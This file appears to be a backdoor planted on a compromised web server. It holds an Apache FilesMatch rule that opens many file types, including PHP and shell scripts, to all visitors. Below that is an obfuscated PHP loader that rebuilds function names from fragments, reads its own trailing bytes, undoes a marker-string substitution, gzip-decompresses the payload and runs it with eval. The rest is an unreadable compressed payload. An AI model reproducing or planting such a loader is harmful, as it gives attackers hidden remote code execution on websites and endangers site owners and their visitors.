<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$EhHG='file_ge'.'t'.'_conten'.'ts';$slpV='s'.'ubstr';$aWcX='e'.'x'.'it';$FrLt='gzu'.'ncompress';$MkHl='s'.'tr'.'_replac'.'e';eval($FrLt($MkHl('vmduaetwjh','>',$MkHl('agdlstepwi','<',$slpV($EhHG( __FILE__ ),-172998)))));$aWcX(0);
?>
x4׎궥*뢀sA'ۛz{Jdd B͜c|#Ő_6?Ͽ_ￖq?K-e)ޣn3hﱂ~./afR={p(d;Q,˸RLCo_?9"-s=gv?Oq$ݿsg\Ϡ_M`4
tIB*ǉs5Iπ
IVIU/*gk)Cu7qu#4M;K%glLlN_EL.msb'T]@i6f:;&{E6ra\~%*zWT)Z7R҇ZHhP9pA.Vn+?|e;!G[o}çqҼ|s+agdlstepwiZhkCa1WnŵǍJ#VeګAjj2o$pF맞 *OYb޺#kA&Ѣ3kqD.˗9wx{"C`mVL!i*ݑ	2_X
I8Y9fY  d2E\z@|!-)j=vh	Y~MjvtI/vmduaetwjhPĖEu`
Zk_■6+w'"ށchit6mNf=n)qC3io_uIAߌHe4Q!M8~Fc|:7"tp{@k0#HzJ|m EzaT%b#~h(]A.1WtKSDٶzwK)썒
s}+Pץigc\?*@agdlstepwiQVGm	B(kF AɔKQ0FF_-P7o&7eoBmE~vmduaetwjh)֣FBv`}-sW#HƵ\
svmduaetwjh`nO`/ixagdlstepwi:}DQ09QyO޷
C صCBxxM8dl
8\*S݄eTs$+vjJ29{vmduaetwjh"B?82ZoAagdlstepwi.tV7'Pq7		|#Htag#6)JX0Tw!{ޟ{$'RB^TM2=M$E_k@mG)ehs3@ZeH^ɯBn֪.!8,nk?_$o,]&[JSagdlstepwi-	)*]rO]n)	~^6'ڼu]ۭ¬XFO|]51˺h_4gwolK
C
@`H{~*Fj.O\Q.i@CrZŅIR"(3	~yRciR\tbvmduaetwjhˏMuXt |I:	
n:v핺+\ȖCUίF͵)5I~DuxK%+PsjPwRlDU̩gl N{	BagdlstepwivA
 sTYsrA)W]KG]WJQ=x	ͮ3`Zgw|V%\@@VgqW%K"3ʧRkP9":g%/O
agdlstepwiMP]헠YT9D6GcrֳZyC8{W犵ZSzر,dL1x6T,Kq9X\1]
&IхC	^w
vmduaetwjh񊶷DNGV
vF;_]מv:/vv+y#5,V^+'Qeoeh	QӘ%}ϮT}?E|vmduaetwjhl(h&ւ%]'YiP(Ҙ$[Ul}PiHSQCcs1.N&U}y|kk`AܟvmduaetwjhuHUIcVg%vmduaetwjhNtK-XQWPQ=vid%vmduaetwjh{&Y4s!M]I~ޗE'lvmduaetwjh?hLL9 4L |rCP۩CU#nbĚe45^G
@~a$=3_+jﳜ"yɱL4!\yXVvmduaetwjh	D1pk
\'qkƩ:M-QuO[()ő!2=WYbGb=qʞٯ`+!?43VR",$ {ʁ89TOovmduaetwjh1kvmduaetwjh u}~
2=:^|HmfkP8CbA\`y/)B7aeO+
za]GQC~tGk&و,'ny螨PI9XLT
ed򧯿{|QcsDv}l.Ej+~84g:uMҺ6Sqy\lgr%PXjYﻉlnlqƝ	+վ45)3agdlstepwi%Y5 KJ;G]rzƓRɣ@m
h\&d_pf w_t&r;!κy":Q5Dqqզ	ɭErС=zBX,`+bR__sC|;q$:4ؑ##!%xR 0CmxR܌!.ĝ%ةvmduaetwjhb;liG_7ji{vEƻ'q];LŴ?[hho
hca,&MvmduaetwjhKfG/.KHagdlstepwio$B:7y1tPýc4lT.+id
T&X.twL&agdlstepwiNңvmduaetwjhUlnEʒBW\"3IZ lFkEu.Y^?H5xRx9Yaj+U~2M 2;:;&We:;KSF_IWc.tZ1!]Te|R1umCrFaJܸ 
N)bsvmduaetwjhBDiO	˩zd|2߅svmduaetwjh,0%\'N~pz0cgQ5b4oovmduaetwjhOheNa homٻ^y2O՛Ǭ`֜@wgJ] RB8?ܢcUYk R`YXS⎶vmduaetwjhjޔnvmduaetwjhJx%+9T D	ҝ   ~S?+ab	mOagdlstepwi1 zɡ{_km
(e3W{	ԑ
C0

~BPχtvSz+$+u	9#QvmduaetwjhplBő|ܪ45m:6QJuS=Зayq
/NΨ?XS(Skz 앺ŞY 藖J
9&OW(ԻäeQR|{0UdwF\lI{t2Z 6Jۦ.% BFqRe
('N*Xc"\Ou렜ܓu68vmduaetwjh(NTIPnqAn~pȒquJMlI6"/;TCakh}JJ5`QCF.2CqjuׂvJӝzϿ@{'C-k͹ų!U:vmduaetwjhgT{M+˟),H˅CPlɃ1ZEUpUBPJv
X}gCYǑluU&+ӠSh7@iVtaH8́?ʏhLЕ.:1Q6	*(rjtE3N:jPAb"3# agdlstepwi
fN},uBXz(!cK+4HF;\=b7U%KءXVDOjyV|Ē}q?&cH7=hYY1~w^agdlstepwi?جc OL'PYMLSYagdlstepwigc+syץVPׄ;o\vmduaetwjhi[~#.+!JO$Bb^uǼ$yaCVg IYRez^lͪ=H.:O5kX0Ns8KMvmduaetwjh[0G! Px#(ryA{rW,ǚuS;V
:J4tɟVUDd^k)*޶ ,:۵o`lr¯5QD[
7k(@B;O{^'agdlstepwi7orڄqFH_^bH4vmduaetwjh;ߜE,}Sz&l}wЈND!Ac|'zvmduaetwjh4_qΡm8kHxf3W؁2s.Z/	;mc怭0D'+!\(,r	1P鎦 PSZ%eNHπqHs-t'[ңQvmduaetwjh|D77ڛI 	Q/0u!H;JlQ*tIuŗqdⅆ;?@\ȇrO7:Nnd-9*
7agdlstepwi Cc	`fkDtZJAsnHe)|5AF) Bd%Jx]zBdE? ~8KScH;72' ꎁC"][WnUbf(oNC(E8C=mbpRҽK59VJ/RMiJLH_BN?~4 agdlstepwi9g_0w809k&;'yB eB C3R7qaJCl;Xhm ƛφ[ ; m 3axf˂kG&XL{{ U^q!*xv@}F`F;ri\6Fğ*_h"&LfY703!elagdlstepwiEUF}G1XAKR1agdlstepwia4KG[^cWо*Gc z߁vagdlstepwitj!OvmduaetwjhoiwkTg
}Ԧ
%vmduaetwjh(-~[=E'MveU0%M	hU"	dLٹPZ{*cTGg?_Z/*Q1gȽ|#iƏkvmduaetwjhzBPs8@CӢ7QT~IN[ZU,m|:p8y	84HƷX/XVvn1{xN4?ւ,]K㩖_W]غnGl$j+$`R
Ӵ;@.fsD,'j!p0;8̷`CG9cvmduaetwjh|Qw r&'``6 f jcNvZbvGSĪ	+Q?4ܻ˚:wr߻Y5c V\n;}
Vl8.5*~HwؤN,)
G}fvmduaetwjh+g~tRzEfh^޷, ~7B.i&J#R 	#oT1qIS9iS`[C߬G&T;gj qJ4QFdlL-{ثcpl-pvGwJϏU_勊p˱f5C;ΒbL~ 2]졶zLOAF/ͥ
ąAS/ECX'r
䑌d3c@ƋKLvWqЩjXXzM\l0`$D/2~xv 
]$G0ŪadYJT=)q}R:
1h5j2i鸯tFB|J~)Ǡ?=KCwR"5@a5p6S"#}f·qr'ޕ3/mnnr.ʧJ|
lἶt'Oȏ!5xzN
`7+獻qvl#UпϷúRaQb={ZK^6?8՚"1"Xyp{fT$x! G}TRgBU-p5Mq6Tp.KYx{R8-q
1v'BkQ=o5ęհ˳{P1N͇!@&]ADFlNCCRaCh4XEݘ_}3ʄNԲ쳵qP"\FmFxR.bXE,w)!2g1&矤fm2i~|йNaԼ6#¹#c(P	iE@agdlstepwivmduaetwjh'^wvmduaetwjh#d(2%q\gʚנyJoB`
 Yofagdlstepwi2
̦VMtRj&䝆=t=֏,F$W0p1KV.wS1	vmduaetwjhk\IS3((i5/T,p@ZAt+;
sW^ޑ_w'4oSwyY+ W֑jvmduaetwjhGU,v6Pagdlstepwi'Ҵsmx5:k"	Xʠ!xB,u݇#Z.~p-βp)zX|1Id^0vmduaetwjh@2c	S5!8.n-	,vmduaetwjhFW
Jb(YmyG͎0S|j asKuavmduaetwjhD^P
vmduaetwjhq:=Xy͋@~*W~ybGZl/ϋg]CѮQ=vmduaetwjhO[!ү@+s͠a`KdqmeR%:^9ޣYA-{B.7'UoUb	C]KY!0/ɛN-Mi9wN{
-]vmduaetwjhNpJOq׋wozans_$/ܡ::}9
S94L#pSnC|5zS.4)ZIN5"ETVm:3("Q=)0ۦ-Rov"+c!h#Zgx@W@e}&e5D7WO	vNee
t
AVF#foPLu*(g宧Pm+j rJ"-][vmduaetwjhєTcA.c|-zgt(VF;2]Iێk	~͔/!}mE) agdlstepwi;WqfM|ZD0endPV&x5+x=q%nZJOn"mЦ[PGmavmduaetwjhI~ɂT) BkH:u`$
.=A]vBw=Ğ!)6\x&HKfIOBq([|5r@jKQ2v.94HA(V]5૚b F*dg~^*ɵ-#梲e(+_-e.}
UČC 2eG'[0.6Dlwvmduaetwjhv&g(6oFZ@`=M/@*]{R
a?+vmduaetwjhqFvmduaetwjhf=jzcU߾pAr7ΩҲo.``_
.\b4l0yy$P Er?rM~`&s;ku=SPR8x{p4z"oxlcwƐw}Q_JKNNM
muc\/5X"8h+d^RO&	5bDfz
$fsdΟEVfEFV調-*
?Vagdlstepwi@;q.BTHT @,:˗,S!֧vt
GHT,Z\p	`əRnh~agdlstepwiWء50C.ύbqNRSA?lTdW?~Z	#[G¹ڽ4@ ynox0%ow#i+3J %u!D\­
Ѕtpzr
-dʾYLv/:QU÷o{QX3UI/`;_?u cCL_Tj{W]JoD!DagdlstepwiJٌwł@WamN˷xZ?Do5Whq2nCd=2ADt˾R$Ƙ
#AS3+0tBjaVb&L@AJvmduaetwjhgyA$Zb5.`j}jbEiRkvmduaetwjhD803@Tt+?Y XXvZiPC3"[IEu3e2wQQ^st{􏑭rElKhr^vmduaetwjhc~@B31Vϴ-H/`J%Q76^%fDk)68p_=D߁v$LKCG?nɘ%&Sl{($WgHS[mXagdlstepwi(DbLh]$Ufo]#yrxTY/,ڀ2"lI|!hؽ&ϰƅ[]G2lagdlstepwi+zjbwWzae3u ӂ*lͽP:s(8'.	je)q\uٔ[*=pʸCtݑ6JkR5c%gl2?Y4k(_?^Iw`|"S%vmduaetwjhC}+wSm +`w6LӠ`ot6itf)L NZ{dJUCM-"vGIaU5C;dƙoy
_RFn7rd̹$PACr{
8 [_(淵xsgǃȯ⢮:Qv U;TvA;Nnl_GM*5S͡kpMZyvmduaetwjhHKOC|&YB
\6dQCu*GAݐɱ)x6=ȣ`t]N+|r^vmduaetwjh*Vb_ŝ[	#xE1qt9kwQ(P{.ř\@XCWvmduaetwjhI!g-|ys˵eK.BgsEt8w˭OsF/^]_{#S6=_M	*~XZ1S$^I$?K\
=
96G%9j5Π#tϟQBo@=Eэn["n(F) Y~6!¦4=^z+u4W-D+MתW
/Mz+-)g y׽ b]Rql+
|(9򟗩]Dci`+6HYJ(l	6o!?[T7
agdlstepwi2ݪK-I	&'myB	F_@kIaQ2F}يDtr+qS,¨q(քՠ'@901VXyp
_8A5!Lfd$k܎ zogʙ/e@t`}!6r
oagdlstepwib{Z{ߧu`u֧mO#
-FfM9@~EmΤ !ܖ[8QKSk
.uDi^+o;KxiagdlstepwiHx9!Z8Y4I\LTi"QP%:eS.4i
H袱س|pf:es*cUw@w_J^\cjV.nUAOљ}mY$K0t"G\7]|rK9q;na"')MncgsJqf%l1w\]EF]#+FzZ9Bk;/Yjfĭ᱉/QagdlstepwiaKOτ֖[a$T[l{[1hA)m@`=	VA.N4K 7e=hr\n?❓u~P+R/Bjo}L)&|zAۆ;G34tbcqexuA\q{h_?
m/~m'pNSgr
ǌuZ+;f[6 #ajHw kH

J"7}@Z@mo6Qf;ܮ2atۑB?TiϚb
agdlstepwi#VwvmduaetwjhC-DE K\~ %J0uKi20+7͂[&(눉P~}	(CjMi3͕	]uN:i_d
7+/u99"ҴnMRTtx3|S^
vmduaetwjhNBn-L0 ]丯)k@\}+q^\h7PR?kfe:,_s  *G*)Cm#\)HJ|3%i|LiagdlstepwiD✉NY2@aEHAo1oEagdlstepwig1	6~iMo*vmduaetwjh_SFէ_]xA~pl4SCL	?1NlF*Rz\{j!W$~]~DcR
VLBf?PN/^:~p
rqka!+-=08
+vmduaetwjhë=+M^pm67Y'WQ*{|{]5-LT0}LL$+Ak9RIx;=lEeE;ǹ
YLvmduaetwjhS
5,LkrahaT]qH5sHP)a?vmduaetwjh/Ю`NqmKagdlstepwigٍ߆gKE*#1&ϯN0vmduaetwjho*\X,rHhhyBɾq+As,?}-Zj5fd: H͊۷qHj_  PH	vmduaetwjh,Ggȩu5
)p" 8
~QKdQv,,G;U+[-@3g+?q4Q,P)ٳY!uY
)Biv5*Z!kBRjHJѓ'8ʮtY}Ntagdlstepwi=o?f`΋^N|-^I@2Ѡvڲpl0.VZZD?f'
~adAk""9LoyLh 5J'|F,'j̦ff:5ެHPagdlstepwid76X9yT-{3vmduaetwjhr?Y=Pvmduaetwjh5kѬb^6mnq 0?S,(G0ޭ"\i@-Iw}7ۇr/оѽO~?]TIX-O9+BBͷ2GŊ]75s5YK#Tw']:C}4$hk!!SYyO͸謃Rd{S_NR/&nr%jXk~H	
bV
agdlstepwiF!N/$sNagdlstepwiٯ5I26	&u%d 1?RE[|e @؂dSx'%;;``'ۨ"!	YkfcgN2_0GkZ;g
hKvmduaetwjhjjmL!o(hG.f ?@s$^wuL`3B m'Yհ]!cb@tg k0wxZ*]
vmduaetwjhǚB3]5'm3?agdlstepwi:u\NnvmduaetwjhM=r9^%	.
]f\Ghw}b@M@	a2\JPNl紉fi.nr)x\gF-!7|xtkZ:%ƿ)gsc*S
hALRn*
Ak{)+u*	{r9ٳ^~vmduaetwjh`~uZw|h=lBfagdlstepwij[sbȣ=!hvmduaetwjh8a_J6!agdlstepwiqBtwno2k+tIa.Y5D!.k(}AL{1#1`;b79*O1!Kf%jjIx[\u0~qhn:l|!?J#05g[++rD T􇡺I(+vmduaetwjh섒4t:ށrV
h!)mGw?oj$fhII6-vmduaetwjhbp{9&k]x]m`]TL	&5tm4gCkoc'j
vmduaetwjh H#x0"EGZޡ`o3MJkL3";%K)
"**-FrНwS'Xj?ųO6CaL	-UfS
@
%~AxlyB~#]q=)7magdlstepwiH)??]?F-@RG㗘+) Y6%}Ę?v^J'dѓ
g$~8(zFcWֱvmduaetwjhVdbT{W]~l'].Htra.vmduaetwjh	Bsk )JsvJ r낂|'Dv!ma
eR0
jVe8R1 nY8wns@dIwEE~?!1.*KX}#aC8tɂb]G9% ˧ZUTi7agdlstepwi-Z[oq蟗MN)Я* q*~`"+
#y0o{]PQZ/]z+O2	]3/"3FowT Avϓ @gANYd=Ah&vmduaetwjhD%Ebn\ql/~[XO

邑yݱwYT &Bk⥺IvmduaetwjhmOVT&_^//FmQ̭
^!'agdlstepwidSi9; 1od8-ʁ$95OKNvmduaetwjh)x4&n.?3o@9ER-("8Oe[9K;O3h*aagdlstepwiWSo!HwSf8'U/eUzlFfKݨ[ǡ+|`_gXܧGoagdlstepwiwo!)X('b6EB'&BlL-8P8#/(,eϴl$\6aɲcK.
Vf7 Y#wݟ`\T Fz-BA{-Ɩ:+Hh
Pd1t]P{R}u}rdܑ8q_Gu @yiY:9dci5$xE= ,E-agdlstepwit2d;*
"L@B/Ǒ.Redؔ"]hx;WǰW,Z]TCݦĞQfIB	ƄQQ˕X^ĆTƤ낧Ә1S/_?/N颿^~agdlstepwi
7/Cf!5k/_[& k{kB|9`駼Zɖk9fUiώ
va5}$agdlstepwigZ,色z\TÞV$F\;tOY}xLqΓ^G]U$zُ̡40KPG0agdlstepwi~0q"`@z깃@Fqa5`#ufpjޚť
d[).^g2lH eogn߉	`h6
z''joŊD\IuYr?agdlstepwiOfU䦭.9ܚ#Zwcd@&K|{g"	2RFF:₃sK kAANT;b~^QJNbrVXO~-EQx3w}ELg=CB5HdSGN,	f*a{+
K{P\Ą(ul~69=Y2Vuc/;`5Z\8+LsiqB39/),}=#)@=
F~b$ӑꞠyqlg*{IhܿiIvmduaetwjhtE=/M;ڮlcW(UtYzk^.Ʀ֓fHmXDٞS腻EAV`g7%?{=UDI csQsdh5L]L@pqPZ!;`	{s1OAO#q%(VZ@f[%],2F| 8\ۋ-IgRT'!DķCw_CU2тyl34ʋe~CHjEx,oX\VQ˻/S.}@;InoO*ML~SHGW5c%NuYTD|X߆)@qvmduaetwjhM&)
?QGb?^f8Oagdlstepwi.EPl\0_kAg~ŭ9ܶrC`0?56wF0cAvmduaetwjhC!GX\"4q5Y~!V)ao̫f:Aw*-SɷdI^dgz51nH95OD$~\ܬAagdlstepwiyJvyو׊Jvmduaetwjhݐ`zvmduaetwjhzYN|2Y/M3b{}"WZNHu}㥱;*vmduaetwjh+YWZKm%g)D`j.*vmduaetwjhKuვŌNw9"ÑCjˉ:	fitOd|H!lS0_1by
,؄#ӍOL!qcagdlstepwi\9E8|]][OPK}O:YYgV1EJ!J܀BXf~gsvmduaetwjha9sx&vmduaetwjh]K/zk{(n|#m'}`}n1(
ʐ݂jMwVP*":R\j|=B?gW,"c';,pz	&agdlstepwiVpNQ-Dagdlstepwivmduaetwjhh~*Ztc	_px/aagdlstepwi2Y1:;)J8ksn,}xi%M JZťPeހ
-D/kv}=QͫFNnp^(us"/re Uy%Vu agdlstepwi!$aA,vt'jχH+elUޡ\lgp(S=agdlstepwizÛgp8	
Fi^֎f7=h
y{ar/RKLgǺ=[|EW0Gfy2"Sk06}9?C:j;骜lD(otScMu3@m?=f&NiN=أ
7RxcE4YruRP=CVt?{!GOق7܌/_Jj
5d]#оOD\n-rߎxlKi4vmduaetwjh$}Wg'bUKu(0[gW}9B1Hko
-'-$	9Uan5nhnqy%`~WE*uVagdlstepwi1HU.5
[nFLLuXx_\ke#c|lBdvmduaetwjhщ?=Sy@;o,[6;nxEc`3TIm`8p766_Ex
$&X3u#@afA+Ts==;&'4#EAǁ?M8gelЗTvmduaetwjhC2e
3-|ӌJ&-:g+5l^9vvmduaetwjh"-l't}YZr=ݰ*MI'omawJ1`61h 	lvmduaetwjhA*-hBlXHS1p6-vmduaetwjhgf;e窅fڙ,x0aҴJoXkH+ET Z-YTT*N]cbP=Aj'Mg)-끘6-%+JD3*agdlstepwixcZOANlkQe 簄^V뒨`y:vS&pJRXu52zJD_E}u
nQOϐn#^$sM
ţ`$ԭ0djjHOeg$qO}DM"v,t@T@j2&-%n=;hɕRҴBF8s;!zhi~iI1EYj[ql@Q!.nzPHFk?M}΁gюjgAZ߳9f@ r]ѓD	m%	6HS-zrWΒ6N[cOk-\btX9/-R]-!;	3c$/'BBJ`?H
 wY_&[4XO͐t*TIOMJXlЂ 7ܷ\Q$\BhB0;*TuM8P`-tM Ƴ""Jh
[M!ol]A;JX.|RxL'"
* 99Ҧ2;A|da6}"+dO~GnSO*3CՄ
̥/LS'^)m喋nvDy:o0Y&`j@oOvmduaetwjhۑV;U+WAAi6e=i4y`i%!_ž@R.g^=`V(?
ml;3|tVf=c4\ʖ,n7g_pQypA㵡G}T@hhu$Vvmduaetwjh|W3eWC*%\1S;9O?/"QJЯ#agdlstepwi}/[*Ӄ{!ƾL$ƌ6)-i|y/,`0|LOAL$S}ŶZ90w=kK6a^$!~|W"`\Û;%*U(]`g7aU	9ճgЇJ{qM4Q?Iv*~f^ \a$dTѪ1vmduaetwjhrM}fk,1dݍŽhNaqឋW9ՙ}I^շ7U05ךږx {O%1oׇv,y/*겤"n[ZF"}l٩aV6Y,agdlstepwi͏o֐_*BgjW`q-;X2'jD?{mc :f&^W*$Z)6Ljά'X;nDK,ʒ`Ԥ/Kݢ{M1'ηļ9&pBȠ$PfՆ3}#(y;[!Fm|t(vCagdlstepwi009[/a*oS$em+_SB՟\-vx[9&ɢo8Pګwx@b{֛֭\\HervmduaetwjhocIʘHiɧagdlstepwi vmduaetwjhn|V,IvmduaetwjhvvX7Ṟ8£76BC%W-uQi.xGnGDUOšB`^}|̽nOFv
	 8Fxl͌
vmduaetwjhvmduaetwjhqXz1S]rR{oB%s&sbnII0׸G5@~
qqQVr*mNڷ_r	eߦ83vmduaetwjh&^$qPWԆ970@ 2-YB+Kte[O|j&*@m߿U$uvwx֬8IGAYagdlstepwi1!/c)5ծ1?%GiEi[oybiagdlstepwi=Oޔ&`=/bGq$ӆ,"iqKJ	%JbonUQ_^GH'(T V,Ο9e
+X߄c!d.+'1Ҁ~K!w~ULݧi'QpWL*ነ0"qDxL^Z g%=OI=QԞJ"O~6Fvmduaetwjh6X"*A$~xy o3Քe.|[7`=1fO&_=W sTmh=zΛ
˧{	W݆/Iu8ܓz5ՕeK^Βvmduaetwjhj0mvmduaetwjh~s7ð7Jh+	A#`u˳4?XT8*+%+.ֻ7/GN;OSSƚrѵ՜xU=v4 ݁S/*Zd{b2}il0kͨ X(BZTvMmmPxBo9u9ҏj	5AQ|~|asdGm[EQvmduaetwjh4+8Y)ZFe7
`agdlstepwi44|quIEagdlstepwiW:bbdeQ{`pȱk"lR40=@8_h{Ξus!
'Hw$!aD'
sӍ63A$T\U6yUߥCf9BJ2Դ;s@A^{0aN-(k볪f-Ua	gAT!8_zlY*1٣*֟QSeF,Jy(͠vmduaetwjho	M}[Hkd
r$(P\'{OtW8&EW+!lOCXIŻAw3'N2piagdlstepwiiBYkg\[Q9O
B{qO[]L#{S@ 
d9HT4fRӟǝ[L)z(fw%^mtAE`jh={ew!	}q~c,a-agdlstepwi$?lagdlstepwi33,tuOr8$o\	W@\z4T7gyya61_&dMagdlstepwi{qkmoLtԑ(bLeL6&σWF5PwA
;
XJح\EƟ鹏 H30h=cc"o=`3!stvmduaetwjh.,йUbMU|Q/R ߢAנd6Aty}0too$ywjz'Ͳ¹B
	`e߾XyJ5j?|	\TGWQ9m {ȰTR˨+OĽ
`//bhٽ:|uO\BF0agdlstepwi龇/H,dF,n\8䈵w\OtuuagdlstepwifxИ:F*k0w )3]r{v
9Շ1Opq
O+cجwύs9
*Ԙg[dٟtjy֙#;S ^[ty:/mTԆGh\ETf~R2q
UndgH&#T'vmduaetwjhvF+kt|.|9,ވgvmduaetwjhm'(bpp
W*4D*"Xiˬ/7H2]LۋRlBK|Lg3j{굳4U0Pk\Boŏy]1|+^lbJx9@kj;bPRu{Z7"_KȠר-ia%Fa̦]%Iug0´Nj_ӯq-p_,4lюkY$'a09Nx(}!n|ONkV]`؛,gDGvkxBd`-v^{o95	$[=$gd~o)m*))MGCËP:U`Tj?/T(RfɁNr
)1"	3"c3F@D-#}_zӇ8RȯI3"#J)4i7kQyOXN]UUʽhfO%-F?:Yne'\?bxioCd`C F41RMUfT/8@5ɚ|ˍvO|XɌۣyGlQ9BF!:	Gd?J8C_6B)#ӮMӉU;4ߋr|Vp!;w^gSk9%Ӗnwt_v^"F(Q8:;.Aƃ/[E:I ӠD¢	U)6vmduaetwjhx* pߔ,.8&
H^\/xvmduaetwjh6AR(jsO}Xjp}	L
!&ǫLeЏ
N,agdlstepwi˾;}&w(ndp)kXfdBfl)]Rf-uq/S7Q@4+lYaH	?k`bla+
YP-
|&!tX~qBoXvMĪ|vtvmduaetwjh?.CMvmduaetwjhFzdX-N}{ԭ
YR6)J.՗FfV$e_6LDSʖgQYIOwog7ۼ\_vmduaetwjhVi_4{p/Kw.n\agdlstepwi7wkY=
Suz/gҦdBUI;Z*ޣv%d^unӫ=Pu_pXyQUpvvmduaetwjh9ᑨ1NS:zg-_I1+zBRc.[UJ"Pz=rY$nnx5tl] ʾ]J_Ҭ[nPa&8V3dQ)wBlagdlstepwi֚5magdlstepwi@qahP{vmduaetwjhgRnЪZfQk\3xv{ni'N
Az-
4-ڿ1˛{#炅sZWP)v\%-JD)jg#λKUaF$}īMa/cLřYωGE8MaQ
^\GB/G@rdW oAN\5h.˪13o4Ty}PPm(|~Ҿܓ|K#l_ɲQXI8B0J$-4E4%0yz50&7 ˝,^u3Ss}t@BϿLa|..-(UQ졲C/SHP}r+B2=hNot/asPU}~)GOѠ{hqZ\¥uh"FJ9_WR4lyFQKґ*Q`S-vmduaetwjh[l*zEkKg@`O,_	"T8҅ͨ_11.V-=rďA.
?^3϶2gc3W,wǯSqѯ=+]NUcEl	iGy-WBٛ2_Zy/~Gu=vS}cNi#'NLagdlstepwi_"m."/r@:[ɝ%XջH pIgqn`(}uSvmduaetwjh 95vmduaetwjhuN	{?}#l%Zgan
&6Ŵ]v6{o =/Pk
ۇ#iY^l`&AzμYrNeUq[`At饳3cuzcpagdlstepwi?2i4Wnu;b7ǶmŒTagdlstepwi#U=*n+M-PpDԦ"e[}Jh=!ݹua4?Af=Z}&E?,F4|w*@'BvmduaetwjhAHo\}įN[aAlsgR,A4agdlstepwi
8_Wv
{{qM3	/cvmduaetwjhץO'&J'{,UXl
L4?ɸoK9.U7)=@_(Ji;׎N^M7b"EDIȉ"5^$ ]6x'ES퐗"Jx$/j]N+75Q7Y4@-E[E5H W=+9X~{0{ /`OBX#f{t[M-st"N1_xj;XagdlstepwiRHwi{*jH{ORpE1)agdlstepwi N׈6ھ`:χ=m[S_5Dm=¤5@f=1?BϤF*t_1jMtόKy}i$]2vʅRD.agdlstepwiZnXW6q	~T&kwvv!jC
ǳH q~D/sit575خS/ߥd?.-"
өbJO1T)6fu߭dMf_;os
NPYς
V WU_V0Wo:B2`iDj_ 1$ɒiyb߱'֔(3

oiϠs6e|e~RV()VBϖagdlstepwi8VL_d&9\9	fA2xarދ!dk(=nA+D=&yUvXΙ&֌J+g6q.q':l˪fD΅XJ_[Rt\ JP``mѪ\Y9HvH9R7ZJTNlӧ6k6_J&.et`D[t_-"e9&EfsZҩRcy8q
QLu
/#Z,J?oI=D#BqsZyӸxk^j?Z.cagdlstepwiA'JCzɏ,gjDZෝ綪kO05T"k.Ɯ)-PC
ԐPH}
QaiagdlstepwiQ,9DW0ߒDDxOPT]39kϵ"2!EH~чgA	Mn2iUfB[!sNIhw%6ÐXLt{T6n3yꡏXB]ue9qV)e!X[n_T{vzLؚ5wx+NHau-BglP%3j_XjhoX59xqX0
Mg)
@u&84X7j[r,Eɼ=.љy:v, .36% @agdlstepwiBq0svokL̼Bڀt]В~_|J1Ry8bO@ovmduaetwjhnQ9|+ʶ8t͉,Y0!uo'9,87kAUq~=eCIM%ջe+ivmduaetwjhLުZl(iQ~agdlstepwix+(|agdlstepwiF3y@9z83`PZR~Vo|N|λ`7F˂:/|aAV `3V}Vt.(P^S i_myz(g!.N58Y. tnjbKN}DgZIdchca3;h&!R$_-#|PkؐG~;iPo 'sQh_e'^
dE3	:8Os;\JĻMt9ieJQ.οѓ)u4_߯"vWIXc`BJ'N+NwKG:ܔgԵgybK@^K13PUxDXEoe;;򊟑agdlstepwiZsIRԽÎ+/vmduaetwjhZ(4qf="-**tzŒ{Ȯ37{}ջrġ]`SfV1{db'F¶8o=lDl_ƠOtqypagdlstepwia+{`飈Z5~^歁UAmY3'A-oۼmمjA9k	"P7vmduaetwjh
KjUeO|0DQւ 3:qT:܎tƝvmduaetwjhyuX]`pQ0@̊5!5쏢F-5ƹJ0IB|@mSF(	Sc3@ U,89}h\pXzB!1e.
f(pdY)52~eTo%!؋@7 jօqރa["W#Auagdlstepwio&{A͒ߤv]Bqo	YZ
ڄAjˈ|AcYIagdlstepwi(A,iIN"G#|c[zJ*gcdq~tJ{uRZ
	kN, ɬ_Bmz;oaxW~}t	ԝZagdlstepwiXEagdlstepwipLQTA%]F-zPɈ;RԱan!D[? bkW^fM"om13fSmQ*vagdlstepwihKY5ҎK
DPHf2v5{OA:dNs2N4}Pzzjvmduaetwjhuj/`"Of =`%_%KݯBs	x[㎩LcP=,ZI\͝x^8\ݣv1Il+,K/Lٲ	4Dvmduaetwjhf;o92,L;Q ß$% loevmduaetwjhQMǘX/T̒X	lYY%b
ww0՛F`
NjT&4 BL$)hR|[ r~UM ]Fv)\^O5agdlstepwi,I9(ve㹐{= g~htZkTQU:]{Y5ۑT4'!IpbĳSƽvG`j;N+̌0-~W;9Moy-CagdlstepwiKI*o#:j-,&'6HO җMPG5b3L=+jagdlstepwiϤEO6EEt~=V\9.\pi*KlWpΧ+TD(KwtB2:V-ۚdfGb7p`@2f$ށ'{	gj]pױWYMiZMCǃϪJ1SEi:MƵFm)Bݴ~|+ǲcW4r$*G\#
㶟4e.XŪbw`L ݄g_$[ܿ=K^g ~agdlstepwir!I."/jQj3V͘yB'@f趷s:JXn-agdlstepwiMu΃L~C%	)ߢ1 t-fE-Tm~n=@ok|^]LV1x#OEΤ?3⢹-tl۪2;5ZOV
%VCC?g	 TިYY0r&R_h݌`*[ƨW!\
/.3d;L|fj*&4.*CoM=. ^zCɻ1OMDw.z&nqĔMAN#8.	|eǗmrGe.!؍9+gLZ=ZAnGQfU-^GxA~
J3vmduaetwjhdMa\7I}+&LҔ۱g	fvT"nvmduaetwjh,V=Pjfn6 j"lU.)݃G4n+PkīW*Xq-H@x4a{
ne]o,agdlstepwi-Ŗ~ss-åa|)xAagdlstepwi;ۋ,(TDM)+C);J6䦤q|+ď|g A$pQnoQ=c!}$TJqz6agdlstepwi"-i7il!
NagdlstepwiYL'k} Ter4SoΗ[ǝ(#P
+铊PhPkZK$y#u1Uj)m#!H}BV*0rR,%vzvMGK
Q#)ī8I!B4/
&:1N1+oZ%jOߑԐG"Ka&0siWV$qq!9=
5ޮG	sq}wBN3agdlstepwiTG9;dF*@Z](|M19=_!F՟ɱmnf/А-:Ԃek(USrZ7H.$J}l@Hvmduaetwjh%خ/f I,#]`ܼi ܗVNfOM6XQ3F=lNNHWv,{ފ׮-LFt몚QW~OG)&O&`Ok)I푥vmduaetwjhV7Ƌ'l;םAWYb8ݟحh'v\0KMsw Xp+h"u\
@/agdlstepwi*Vd`Jf⑷!3p-	{EB)$}t4agdlstepwi66g0sS=̕BP2H_J4]stAI^z/Bɗ4`ب~w,E ӂnOyNł8f?=;4/6vR;?Sj
iX@7Hjqv
